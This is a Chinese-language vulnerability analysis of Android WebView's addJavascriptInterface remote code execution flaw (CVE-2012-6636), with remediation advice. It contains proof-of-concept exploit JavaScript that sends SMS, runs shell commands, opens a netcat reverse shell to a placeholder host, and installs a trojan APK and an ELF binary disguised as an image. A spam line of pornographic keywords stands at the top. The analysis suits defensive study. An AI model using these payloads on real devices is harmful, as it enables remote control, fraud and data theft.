欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

關(guān)于Android中WebView遠(yuǎn)程代碼執(zhí)行漏洞淺析

 更新時(shí)間:2018年05月04日 10:54:09   作者:阿里無(wú)線安全團(tuán)隊(duì)  
這篇文章主要給大家介紹了關(guān)于Android中WebView遠(yuǎn)程代碼執(zhí)行漏洞的相關(guān)資料,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧

1. WebView 遠(yuǎn)程代碼執(zhí)行漏洞描述

      Android API level 16以及之前的版本存在遠(yuǎn)程代碼執(zhí)行安全漏洞,該漏洞源于程序沒(méi)有正確限制使用WebView.addJavascriptInterface方法,遠(yuǎn)程攻擊者可通過(guò)使用Java Reflection API利用該漏洞執(zhí)行任意Java對(duì)象的方法,簡(jiǎn)單的說(shuō)就是通過(guò)addJavascriptInterface給WebView加入一個(gè)JavaScript橋接接口,JavaScript通過(guò)調(diào)用這個(gè)接口可以直接操作本地的JAVA接口。該漏洞最早公布于CVE-2012-6636【1】,其描述了WebView中addJavascriptInterface API導(dǎo)致的遠(yuǎn)程代碼執(zhí)行安全漏洞。

      該漏洞公布的近期,多款A(yù)ndroid流行應(yīng)用曾被曝出高危掛馬漏洞:點(diǎn)擊消息或朋友社區(qū)圈中的一條網(wǎng)址時(shí),用戶手機(jī)然后就會(huì)自動(dòng)執(zhí)行被掛馬的代碼指令,從而導(dǎo)致被安裝惡意扣費(fèi)軟件、向好友發(fā)送欺詐短信、通訊錄和短信被竊取以及被遠(yuǎn)程控制等嚴(yán)重后果。在烏云漏洞平臺(tái)上,包括Android版的微信、QQ、騰訊微博、QQ瀏覽器、快播、百度瀏覽器、金山瀏覽器等大批TOP應(yīng)用均被曝光同類型的漏洞。

      論文Attacks on WebView in the Android System【2】中指出可以利用所導(dǎo)出的讀寫(xiě)文件接口來(lái)進(jìn)行文件的讀寫(xiě)操作,攻擊者可以通過(guò)中間人攻擊篡改Webview所顯示的頁(yè)面來(lái)達(dá)到對(duì)手機(jī)文件系統(tǒng)的控制。

2. WebView 遠(yuǎn)程代碼執(zhí)行影響范圍

      Android API level 小于17 (即Android 4.2之前的系統(tǒng)版本)

3.WebView 遠(yuǎn)程代碼執(zhí)行漏洞詳情

1) WebView 遠(yuǎn)程代碼執(zhí)行漏洞位置:

      WebView.addJavascriptInterface(Object obj, String interfaceName)

2)WebView 遠(yuǎn)程代碼執(zhí)行漏洞觸發(fā)前提條件:

      使用addJavascriptInterface方法注冊(cè)可供JavaScript調(diào)用的Java對(duì)象;

      使用WebView加載外部網(wǎng)頁(yè)或者本地網(wǎng)頁(yè);

      Android系統(tǒng)版本低于4.2;

3) WebView 遠(yuǎn)程代碼執(zhí)行漏洞原理:

      Android系統(tǒng)通過(guò)WebView.addJavascriptInterface方法注冊(cè)可供JavaScript調(diào)用的Java對(duì)象,以用于增強(qiáng)JavaScript的功能。但是系統(tǒng)并沒(méi)有對(duì)注冊(cè)Java類的方法調(diào)用的限制。導(dǎo)致攻擊者可以利用反射機(jī)制調(diào)用未注冊(cè)的其它任何Java類,最終導(dǎo)致JavaScript能力的無(wú)限增強(qiáng)。攻擊者利用該漏洞可以根據(jù)客戶端能力為所欲為。

4. WebView 遠(yuǎn)程代碼執(zhí)行漏洞POC

      1) 利用addJavascriptInterface方法注冊(cè)可供JavaScript調(diào)用的java對(duì)象 “injectedObj”,利用反射機(jī)制調(diào)用Android API sendTextMessage來(lái)發(fā)送短信。

      java代碼:

mWebView = new WebView(this);
mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(this, "injectedObj");
mWebView.loadUrl(file:///android_asset/www/index.html);

      EXP的JavaScript代碼:

<html>
 <body>
 <script>
  var objSmsManager = injectedObj.getClass().forName("android.telephony.SmsManager").getM ethod("getDefault",null).invoke(null,null);
  objSmsManager.sendTextMessage("10086",null,"this message is sent by JS when webview is loading",null,null);
 </script>
 </body>
</html>

      2) 利用addJavascriptInterface方法注冊(cè)可供JavaScript調(diào)用的java對(duì)象 “injectedObj”,利用反射機(jī)制調(diào)用Android API getRuntime執(zhí)行shell命令:

      EXP的JavaScript代碼:

<html>
 <body>
 <script>
  function execute(cmdArgs)
  {
  return injectedObj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
  }

  var res = execute(["/system/bin/sh", "-c", "ls -al /mnt/sdcard/"]);
  document.write(getContents(res.getInputStream()));
 </script>
 </body>
</html>

      利用后的執(zhí)行結(jié)果:

      3) 利用addJavascriptInterface方法注冊(cè)可供JavaScript調(diào)用的java對(duì)象 “injectedObj”,利用反射機(jī)制調(diào)用Android API getRuntime執(zhí)行shell命令,達(dá)到反彈一個(gè)手機(jī)端的shell到遠(yuǎn)程控制端的目的:

      EXP的JavaScript代碼:

<html>
 <body>
 <script>
  function execute(cmdArgs)
  {
  return injectedObj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
  }
  execute(["/system/bin/sh","-c","rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/system/bin/sh -i 2>&1|nc x.x.x.x 9099 >/tmp/f"]);
 </script>
 </body>
</html>

      執(zhí)行后的結(jié)果:

 

      4) 利用addJavascriptInterface方法注冊(cè)可供JavaScript調(diào)用的java對(duì)象 “injectedObj”,利用反射機(jī)制調(diào)用Android API getRuntime執(zhí)行shell命令進(jìn)行掛馬:a安裝木馬應(yīng)用APK, b 安裝執(zhí)行ELF可執(zhí)行程序;

      簡(jiǎn)單的安裝發(fā)送短信木馬APK,EXP的JavaScript代碼:

<html>
 <body>
 <script>
  function execute(cmdArgs)
  {
  return injectedObj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
  }
  var apk = "\\x50\\x4B\\x03\\x04\\x14\\x00\\x08\\x00\\x08\\x00\\x62 \\xB9\\x15\\x30\\x3D\\x07\\x01\\x00\\x00\\x7C\\x01\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xD6\\x0D\\x00\\x00\\x4D\\x45\\x54\\x41\\x2D\\x49\\x4E\\x46\\x2F\\x43\\x45\\x52\\x54\\x2E\\x53------------------------------------------------------------ \\x4D\\x45\\x54\\x41\\x2D\\x49\\x4E\\x46\\x2F\\x43\\x45\\x52\\x54\\x2E\\x52\\x53\\x41\\x50\\x4B\\x05\\x06\\x00\\x00\\x00\\x00\\x07\\x00\\x07\\x00\\xBA\\x01\\x00\\x00\\xB6\\x11\\x00\\x00\\x00\\x00"
  execute(["/system/bin/sh","-c","echo '"+apk+"' > /data/data/com.example.hellojs/fake.png"]);
  execute(["chmod","755","/data/data/com.example.hellojs/fake.png"]);
  execute(["su","-c","pm install -r /data/data/com.example.hellojs/fake.png"]);
 </script>
 </body>
</html>

      由下圖可得知我們已經(jīng)拼接成了一個(gè)APK程序,并偽裝成一張png圖片:

 

      由下圖可知,我們已經(jīng)成功安裝fake.png APK程序:

 

      例如網(wǎng)上流行的Androrat遠(yuǎn)程控制程序,攻擊者利用上述漏洞即可簡(jiǎn)單的安裝此遠(yuǎn)程控制木馬應(yīng)用APK即可達(dá)到遠(yuǎn)程控制用戶手機(jī)的目的。   

      利用漏洞拼接可執(zhí)行ELF程序,并執(zhí)行該ELF程序達(dá)到為所欲為的目的,博文Abusing WebView JavaScript Bridges

【3】還實(shí)現(xiàn)了在非root情況下利用ELF可執(zhí)行程序偷取sdcard的文件的POC,由此可見(jiàn),該漏洞的危害性極大:

     EXP的JavaScript代碼:

<html>
 <body>
  <script>
   function execute(cmdArgs)
   {
    return injectedObj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
   }
   var bin = "\\x7F\\x45\\x4C\\x46\\x01\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x28\\x00\\x01\\x00\\x00\\x00\\xE4\\x83\\x00\\x00\\x34\\x00\\x00\\x00\\x58\\x21\\x00\\x00\\x00\\x00\\x00\\x05\\x34\\x00\\x20\\x00\\x08\\x00\\x28\\x00\\x18\\x00\\x17\\x00\\x06\\x00\\x00\\x00\\x34\\x00\\x00\\x00\\x34\\x80\\x00\\x00\\x34\\x80\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x04\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x34\\x01\\x00\\x00\\x34\\x81\\x00\\x00\\x34\\x81\\x00\\x00\\x13--------------------------------------------------------------------------------------------------------------------------------\\x00\\x00\\x00\\x00\\xD4\\x00\\x00\\x00\\x03\\x00\\x00\\x70\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x44\\x20\\x00\\x00\\x2D\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x71\\x20\\x00\\x00\\xE4\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00";
   execute(["/system/bin/sh","-c","echo '" + bin + "' > /data/data/com.example.hellojs/testBin"]);
   execute(["chmod","755","/data/data/com.example.hellojs/testBin"]);
   var res = execute(["/data/data/com.example.hellojs/testBin"]);
   document.write(getContents(res.getInputStream()));
  </script>
 </body>
</html>

      “testBin”文件已拼接生成,如下圖所示:

      執(zhí)行之后的結(jié)果如下:

 

5. WebView遠(yuǎn)程代碼執(zhí)行漏洞修復(fù)建議

1. API Level等于或高于17的Android系統(tǒng)【4】

      出于安全考慮,為了防止Java層的函數(shù)被隨便調(diào)用,Google在4.2版本之后,規(guī)定允許被調(diào)用的函數(shù)必須以@JavascriptInterface進(jìn)行注解,所以如果某應(yīng)用依賴的API Level為17或者以上,就不會(huì)受該問(wèn)題的影響(注:Android 4.2中API Level小于17的應(yīng)用也會(huì)受影響)。按照Google官方文檔[5]使用示例:

class JsObject {
 @JavascriptInterface
 public String toString() { return "injectedObject"; }
}
webView.addJavascriptInterface(new JsObject(), "injectedObject");
webView.loadData("", "text/html", null);
webView.loadUrl("javascript:alert(injectedObject.toString())");

2. API Level等于或高于17的Android系統(tǒng)

      建議不要使用addJavascriptInterface接口,以免帶來(lái)不必要的安全隱患,請(qǐng)參照博文《在Webview中如何讓JS與Java安全地互相調(diào)用》[6]。

      如果一定要使用addJavascriptInterface接口:

      1) 如果使用HTTPS協(xié)議加載URL,應(yīng)進(jìn)行證書(shū)校驗(yàn)防止訪問(wèn)的頁(yè)面被篡改掛馬;

      2) 如果使用HTTP協(xié)議加載URL,應(yīng)進(jìn)行白名單過(guò)濾、完整性校驗(yàn)等防止訪問(wèn)的頁(yè)面被篡改;

      3) 如果加載本地Html,應(yīng)將html文件內(nèi)置在APK中,以及進(jìn)行對(duì)html頁(yè)面完整性的校驗(yàn);

3. 移除Android系統(tǒng)內(nèi)部的默認(rèn)內(nèi)置接口

      同時(shí),在2014年發(fā)現(xiàn)在Android系統(tǒng)中webkit中默認(rèn)內(nèi)置的一個(gè)searchBoxJavaBridge_ 接口同時(shí)存在遠(yuǎn)程代碼執(zhí)行漏洞,該漏洞公布于CVE-2014-1939[7], 建議開(kāi)發(fā)者通過(guò)以下方式移除該Javascript接口:    

 removeJavascriptInterface("searchBoxJavaBridge_") 

      2014年香港理工大學(xué)的研究人員Daoyuan Wu和Rocky Chang發(fā)現(xiàn)了兩個(gè)新的攻擊向量存在于android/webkit/AccessibilityInjector.java中,分別是"accessibility" 和"accessibilityTraversal" ,調(diào)用了此組件的應(yīng)用在開(kāi)啟輔助功能選項(xiàng)中第三方服務(wù)的安卓系統(tǒng)中會(huì)造成遠(yuǎn)程代碼執(zhí)行漏洞。該漏洞公布于CVE-2014-7224, 此漏洞原理與searchBoxJavaBridge_接口遠(yuǎn)程代碼執(zhí)行相似,均為未移除不安全的默認(rèn)接口,建議開(kāi)發(fā)者通過(guò)以下方式移除該JavaScript接口:

removeJavascriptInterface("accessibility");
 removeJavascriptInterface("accessibilityTraversal");

參考文章

[1] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-6636

[2] Attacks on WebView in the Android System

[3] http://50.56.33.56/blog/?p=314

[4] Google Official Android API Level Reference

[5] http://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface(java.lang.Object, java.lang.String)

[6] 在Webview中如何讓JS與Java安全地互相調(diào)用

[7] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-1939

總結(jié)

以上就是這篇文章的全部?jī)?nèi)容了,希望本文的內(nèi)容對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,如果有疑問(wèn)大家可以留言交流,謝謝大家對(duì)腳本之家的支持。

相關(guān)文章

  • Android HandlerThread案例詳解

    Android HandlerThread案例詳解

    這篇文章主要介紹了Android HandlerThread案例詳解,本篇文章通過(guò)簡(jiǎn)要的案例,講解了該項(xiàng)技術(shù)的了解與使用,以下就是詳細(xì)內(nèi)容,需要的朋友可以參考下
    2021-08-08
  • Android采用雙緩沖技術(shù)實(shí)現(xiàn)畫(huà)板

    Android采用雙緩沖技術(shù)實(shí)現(xiàn)畫(huà)板

    這篇文章主要為大家詳細(xì)介紹了Android采用雙緩沖技術(shù)實(shí)現(xiàn)畫(huà)板的相關(guān)資料,思路清晰,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下
    2016-05-05
  • Android百度地圖之方向感應(yīng)和模式更改

    Android百度地圖之方向感應(yīng)和模式更改

    這篇文章主要為大家詳細(xì)介紹了Android百度地圖之方向感應(yīng)和模式更改,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下
    2019-05-05
  • Android 實(shí)現(xiàn)電話攔截及攔截提示音功能的開(kāi)發(fā)

    Android 實(shí)現(xiàn)電話攔截及攔截提示音功能的開(kāi)發(fā)

    本文主要介紹Android 實(shí)現(xiàn)電話攔截和攔截提示音功能的開(kāi)發(fā),這里提供實(shí)現(xiàn)代碼和詳細(xì)講解,有需要的小伙伴可以參考下
    2016-08-08
  • Android的多媒體管理庫(kù)Glide的基本使用示例

    Android的多媒體管理庫(kù)Glide的基本使用示例

    這篇文章主要介紹了Android的多媒體管理庫(kù)Glide的基本使用示例,Glide在圖片App中的表現(xiàn)非常好,Google旗下的Yelp也在使用,需要的朋友可以參考下
    2016-04-04
  • Android實(shí)現(xiàn)跑馬燈效果的兩種簡(jiǎn)單方式

    Android實(shí)現(xiàn)跑馬燈效果的兩種簡(jiǎn)單方式

    這篇文章主要給大家介紹了關(guān)于Android實(shí)現(xiàn)跑馬燈的兩種簡(jiǎn)單方式,文中介紹了兩種方法,分別說(shuō)了每個(gè)方法的優(yōu)缺點(diǎn),需要的朋友可以選擇性使用,下面來(lái)一起看看吧
    2021-07-07
  • Android自定義ViewGroup實(shí)現(xiàn)九宮格布局

    Android自定義ViewGroup實(shí)現(xiàn)九宮格布局

    這篇文章主要為大家詳細(xì)介紹了Android如何通過(guò)自定義ViewGroup實(shí)現(xiàn)九宮格布局,文中的示例代碼講解詳細(xì),感興趣的小伙伴可以了解一下
    2022-12-12
  • Android編程處理窗口控件大小,形狀,像素等UI元素工具類

    Android編程處理窗口控件大小,形狀,像素等UI元素工具類

    這篇文章主要介紹了Android編程處理窗口控件大小,形狀,像素等UI元素工具類,可實(shí)現(xiàn)像素與dp的轉(zhuǎn)換、窗口寬度設(shè)置、彈出窗口中l(wèi)istview高度設(shè)置等功能,需要的朋友可以參考下
    2017-12-12
  • 一文帶你了解Flutter數(shù)據(jù)表格的使用

    一文帶你了解Flutter數(shù)據(jù)表格的使用

    目前,越來(lái)越多的管理層(所謂的領(lǐng)導(dǎo))都希望在手機(jī)端查看各種各樣的數(shù)據(jù)報(bào)表,以達(dá)到隨時(shí)隨地關(guān)注經(jīng)營(yíng)業(yè)績(jī)(監(jiān)督干活)的目的。本篇我們就來(lái)介紹?Flutter?的數(shù)據(jù)表格的使用,希望對(duì)大家有所幫助
    2022-11-11
  • Android onCreate( )方法詳細(xì)介紹

    Android onCreate( )方法詳細(xì)介紹

    本文主要介紹Android onCreate( )方法,做Android應(yīng)用的朋友對(duì)onCreate()的方法并不陌生,在開(kāi)發(fā)應(yīng)用的時(shí)候大家應(yīng)該注意什么呢,這里給大家詳細(xì)說(shuō)明
    2016-09-09

最新評(píng)論